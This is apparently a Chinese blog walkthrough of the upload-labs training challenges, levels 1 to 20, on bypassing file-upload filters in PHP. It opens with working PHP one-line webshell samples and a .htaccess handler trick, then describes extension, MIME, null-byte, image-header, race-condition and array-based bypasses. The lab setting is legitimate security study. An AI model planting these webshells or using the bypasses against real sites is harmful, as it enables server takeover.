开篇

🌞学习的好日子

PHP一句话木马

(摘自先知社区 https://xz.aliyun.com/t/2786)

经典语句

<?php @eval($_POST['cmd']);?>

其中: (1) @ 为错误抑制符号 (2) eval 执行php代码 (3) $_POST['cmd'] 通过post接收的数据 意思为eval把接受的数据当做php代码执行

其他函数

create_function 函数

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

call_user_func 函数

<?php
@call_user_func(assert,$_POST['a']);
?>

assert

<?php assert(@$_POST['a']); ?>

preg_replace函数

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

file_put_contents 函数

"shell.php" 4L, 96C
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell2.php", $test);
?>

通关

less-1

1、上传一句话木马,提示上传类型,不准上传php 16146093455866 2、通过F12发现是前端js判断 img 3、这里我通过谷歌插件quick-javascript-switcher,一键关闭网页的Javascript img 4、再次上传一句话木马,上传成功 img 5、可以通过F12选择上传的图片,可以查看到上传路径

less-2

1、查看源代码,发现只是判断content-type类型 2、通过burpsuite进行抓包改包 3、修改content-type img

less-3

1、查看源码,这里是黑名单判断 img 2、后缀

php3
php5
phtml
pHp3

3、修改后缀绕过 img

htacess

1、基本作用: .htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。 .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

.htaccess的用途范围主要针对当前目录。 2、启用.htacess,启用AllowOVerride img

less-4

1、查看源码,发现黑名单几乎过滤了所有后缀,除了htaccess

img

2、上传.htaccess,这样所有的文件都能解析成php

SetHandler application/x-httpd-php

img

3、再上传图片马,或者txt img 4、正常连接 img

less-5

1、查看源码,还是黑名单判断,最后多了个.htaccess 2、没有将后缀大小写统一,把小写去掉了,大小写绕过 img

3、img

less-6

1、查看源码,没有对结尾进行空处理 image-20230201141008090 2、burpsuite抓包 img

less-7

1、查看源码,这一关少了个删除文件末尾的点 image-20230201141027756 2、这一关利用windows特性,会自动去掉后缀名中最后的.,可在后缀名中加.绕过,但 Linux测试失败。 img

less-8

1、查看源码,发现没有对::(DATA进行过滤,此方法只能在windows实现

2、Windows特性 在window的时候如果文件名+"::)DATA"会把::(DATA之后的数据当成文件流处理,不会检测后缀名,且保持::)DATA之前的文件名,他的目的就是不检查后缀名 例如:"shell.php::)DATA"Windows会自动去掉末尾的::)DATA变成"shell.php"

less-9

1、查看源码,发现第十五行发生了变化,这里是拼接删除文件末尾的点的文件名 image-20230201141229916 2、这里就可以利用.+空格+.进行绕过 img 3、上传的文件名就成为了shell.php. ,在windows会自动过滤结尾的.与空格,linux里不可以

less-10

1、查看源码,这里是通过str_ireplace函数把替换为空 image-20230201141321710 2、这里就可以利用双写绕过 pphphp img

%00截断

1、在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,表示字符串结束 2、限制条件: php版本要小于5.3.4,5.3.4及以上已经修复该问题 magic_quotes_gpc需要为OFF状态 3、GET传参,直接在后面输入%00即可,在GET传参中url会把%00解码成空字符 4、POST传参,需要把%00进行url编码,在POST传参中,%00不会被url解码

less-11

1、从源码可以看出,这里进行了白名单限制,但$_GET['save_path'],用来get传递参数再加上后缀名 image-20230201141410112

2、burpsuite抓包(我这里没上传成功,因为我的php版本已经修复该问题) img

less-12

1、查看源码,与11关不同的是POST传参 image-20230201141523134 2、burpsuite抓包,修改%00进行url编码 img

less-13

1、这关需要上传图片马,并且要求webshell完整 2、查看源码,只读前2个字节 image-20230201141611515 3、制作图片马,GIF89a图片头欺骗 img 4、成功上传

less-14

1、查看源码,发现多了几个函数 image-20230201141748965 2、getimagesize img 3、image_type_to_extension img 4、还是可以利用图片文件头欺骗绕过

less-15

1、查看源码 image-20230201141858855

2、通过exif_imagetype函数检测 img 3、还是可以利用图片头欺骗绕过

less-16

1、查看源码,先对图片进行验证,判断后缀与类型,然后在对图片进行二次渲染 image-20230201142056396 2、在网上找一个gif图片,先进行上传,发现图片名称发生改变,下载下来,使用十六进制软件进行比对 3、发现其中有一部分没有发生变化,那我们可以在未发生改变的地方,插入我们的一句话木马 img

4、使用蚁剑看看能否连接(这里我提前创建了.htaccess文件,可以解析图片) img

less-17

1、查看源码 image-20230201142246972

2、从源码可以看出,先允许所有文件上传,然后通过白名单过滤,符合的就改名,不符合条件的再删掉

3、这里我直接使用bp进行爆破。这cookie这里设置变量 img 4、修改线程,修改payload img

5、开始执行可以看到,只要够快。 img

less-18

1、查看源码,这关也是条件竞争,先是判断类型,再进行移动,最后在改名

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

2、所以这关只能上传图片马,跟17关操作一样

less-19

1、查看源码 image-20230201142723631 2、看黑名单过滤都是小写过滤,没过滤大写,我们可以大写绕过

3、看大佬们教程才知道,这一关考察CVE-2015-2348 move_uploaded_file() 00截断

该CVE漏洞的产生就是由于PHP的move_uploaded_file()函数存在逻辑缺陷所致,这个函数一般在文件上传时被调用!

move_uploaded_file ( string $filename , string $destination )
       这次的漏洞就出现在参数$destination,这个参数的是将用户上传的文件移动到最终的目的地址。如果$destionation变量是从用户$_GET或者$_POST中获取的并且我们可控,那么我们就可以利用空字符\00来截断后面的拓展名,从而造成任意文件上传。

4、尝试00截断没成功。挠头 5、查阅资料会忽略掉文件末尾的/.。而代码中的file_name是用户可控的,这就给了我们可以利用的地方,上传一个图片马,将保存名字改为upload.php/. img

less-20

1、查看源码 image-20230201142942315 2、在代码的第11行,这里判断$file是否是数组,数组可绕过

$file = explode('.', strtolower($file));

3、审查一下代码,我们可以让(file为数组,)file[0]为upload.php/,(file[2]为jpg,)file[1]为空,这样我们就可以绕过白名单过滤

$file_name = reset($file) . '.' . $file[count($file) - 1];

4、文件名为upload.php/,在move_uploaded_file中会忽略掉最后的/,所以传到服务器上的问upload.php

img

文章作者: weehhd
版权声明: 本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 weehhd
渗透测试
喜欢就支持一下吧
打赏
微信 微信
支付宝 支付宝